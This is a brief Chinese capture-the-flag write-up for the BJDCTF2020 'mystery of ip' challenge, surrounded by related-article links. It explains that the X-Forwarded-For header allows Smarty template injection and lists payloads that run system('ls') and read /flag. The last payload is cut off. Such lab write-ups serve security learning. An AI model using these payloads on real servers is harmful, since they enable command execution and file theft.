[BJDCTF2020]The mystery of ip
知识点 SSTI smarty 抓包，根据题目猜想X-Forwarded-For处可能有问题，测试了一下，存在模板注入 测试了一下，是smarty注入 smarty注入payload {if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system
相关文章
- 1. [BJDCTF2020]The mystery of ip
- 2. Spirits of Mystery Mac游戏介绍
- 3. IP Addresses of Google Global Cache
- 4. TCP/IP Run Out of Memory
- 5. 2.1 to 2.4 Brief introduction of TCP/IP
- 6. [INS-06101] IP address of localhost could not be determined
- 7. Maxinum of connections from user+ip exceeded (mail_max_userip_connections=10)
- 8. enabling ip forwarding - installation and configuration of Quagga - configuring OSPF
- 9. Changing the IP Address of a Domain Controller
- 10. How to change IP address of your ESX Server
- 更多相关文章...
- • XSLT
- • XSLT
- • Tomcat学习笔记（史上最全tomcat学习笔记）
- • Docker容器实战(八) - 漫谈 Kubernetes 的本质
相关标签/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
欢迎关注本站公众号,获取更多信息
相关文章
- 1. [BJDCTF2020]The mystery of ip
- 2. Spirits of Mystery Mac游戏介绍
- 3. IP Addresses of Google Global Cache
- 4. TCP/IP Run Out of Memory
- 5. 2.1 to 2.4 Brief introduction of TCP/IP
- 6. [INS-06101] IP address of localhost could not be determined
- 7. Maxinum of connections from user+ip exceeded (mail_max_userip_connections=10)
- 8. enabling ip forwarding - installation and configuration of Quagga - configuring OSPF
- 9. Changing the IP Address of a Domain Controller
- 10. How to change IP address of your ESX Server